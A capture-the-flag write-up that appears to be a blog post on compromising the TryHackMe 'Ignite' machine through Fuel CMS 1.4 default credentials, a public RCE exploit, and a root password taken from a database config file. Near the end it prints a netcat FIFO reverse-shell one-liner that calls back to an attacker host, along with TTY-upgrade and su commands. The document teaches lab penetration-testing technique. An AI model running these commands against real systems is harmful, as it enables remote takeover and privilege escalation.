Ignite

link room:https://tryhackme.com/room/ignite

author:0xNOVA

Platform: TryHackMe

Capture the flags

True to its name, the task asks for exactly two things: the user flag and the root flag. And as with every engagement — CTF or real-world — everything starts with reconnaissance. Time to fire up Nmap and see what the target is exposing:

nmap -A -v 10.129.158.103

Browsing the Web Application

Opening the site in the browser confirmed the Nmap finding — the homepage is the default Fuel CMS landing page, and it explicitly discloses the CMS version: 1.4.

More importantly, the getting-started page leaves behind information that should never be exposed on a live target:

Misconfiguration Found

This is a textbook misconfiguration: the default installation page was never removed, leaking both the admin panel location and the default credentials. If the admin account was never reconfigured, this alone could be enough to gain authenticated access.

Next steps

Navigate to http://10.129.158.103/fuel and attempt login with admin:admin.
If successful, look for known Fuel CMS 1.4 post-auth vulnerabilities (e.g. RCE via the Fuel CMS “Pages” preview/eval functionality, which has public CVEs/exploits).
If login fails, fall back to checking Fuel CMS 1.4 against public exploit databases for unauthenticated vulnerabilities.

Finding a Exploit

With the CMS, version, and default credentials confirmed, the next logical step was to search for a known exploit targeting Fuel CMS 1.4.1.

A quick search led me to a public Remote Code Execution (RCE) exploit for Fuel CMS 1.4.1, written in Python 3. The script is built around the requests library and takes a target URL as input, then leverages a known vulnerability in Fuel CMS’s query/evaluation functionality to achieve code execution on the server.

Running the Exploit

With the exploit script in hand, I executed it against the target using the confirmed URL:

python3 Fuel -u http://10.129.158.103

Gaining Shell Access

Once the exploit connected successfully, it dropped me into a pseudo-shell on the target:

To confirm that command execution was actually working, I ran a couple of basic verification commands:

Finding the User Flag

With shell access confirmed as www-data, I moved on to locating the user flag.

1. Checked the /home directory:

This revealed a single user directory — www-data — owned by the same user I already had shell access as.

Get 0xNOVA71’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Listed the contents of that directory

drwx--x--x 2 www-data www-data 4.0K Jul 26 2019 .
drwxr-xr-x 3 root     root     4.0K Jul 26 2019 ..
-rw-r--r-- 1 root     root       34 Jul 26 2019 flag.txt

A flag.txt file was present, owned by root but world-readable.

Enter Command $ cat /home/www-data/flag.txt

This retrieved the user flag, confirming successful exploitation of the Fuel CMS RCE and user-level access on the target.

Root’s Flag

With the user flag captured, it’s time to escalate privileges and root the machine.

Since port 80 is the only open service on this target, any path to root has to go through the shell we already have as www-data — there’s no SSH, no additional service to pivot through. Everything happens from inside this single foothold.

Figuring out the escalation path took some digging. The answer, as it turns out, was sitting right there on the Fuel CMS homepage the whole time

Database Configuration File

Revisiting the Fuel CMS homepage’s “Getting Started” guide, step 2 reveals exactly where the database credentials are stored:

cat fuel/application/config/database.php

We just found what looks like the root password inside the database config file. The question now is: how do we actually use it?

Here’s the problem — the Python exploit shell we’ve been using isn’t a real interactive shell. It has two major limitations:

1. No error output. If something goes wrong, the shell won’t show us the error message, making it hard to debug.
2. No password prompt for su. Normally, when you run su to switch users, it asks you to type a password. This pseudo-shell can’t handle that interactive prompt at all.

A common trick people try is piping the password directly into su, like this:

echo 'mememe' | su -c whoami

But this doesn’t work either — su still expects a real interactive terminal to accept the password, and piping input like this doesn’t fake that properly.

The solution: upgrade to a proper interactive shell using Netcat. A real reverse shell will let us run su normally, see actual error messages, and interact with the terminal the way we need to.

Set Up a Listener

On my attacking machine, I started a Netcat listener on port 4444:

nc -lvnp 4444

I only knew by checking the listener.

I switched to the named pipe (FIFO) method, which works regardless of the Netcat build:

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.135.168 4444 > /tmp/f

With the listener restarted and the firewall rule in place, re-running the FIFO one-liner from the target immediately triggered a successful callback:

Before attempting to use su, I needed to address the shell’s TTY limitation. The earlier warning — can't access tty; job control turned off — meant the shell wasn’t fully interactive, which would prevent su from properly handling the password prompt.

To fix this, I spawned a proper TTY using Python directly from within the reverse shell:

python -c 'import pty; pty.spawn("/bin/sh")'

Using the database credentials recovered earlier (mememe), the su root command succeeded — confirmed by the shell prompt changing to root@ubuntu:/var/www/html#, indicating full root privileges on the target.

Finally, I found the root flag!

Thanks for Reading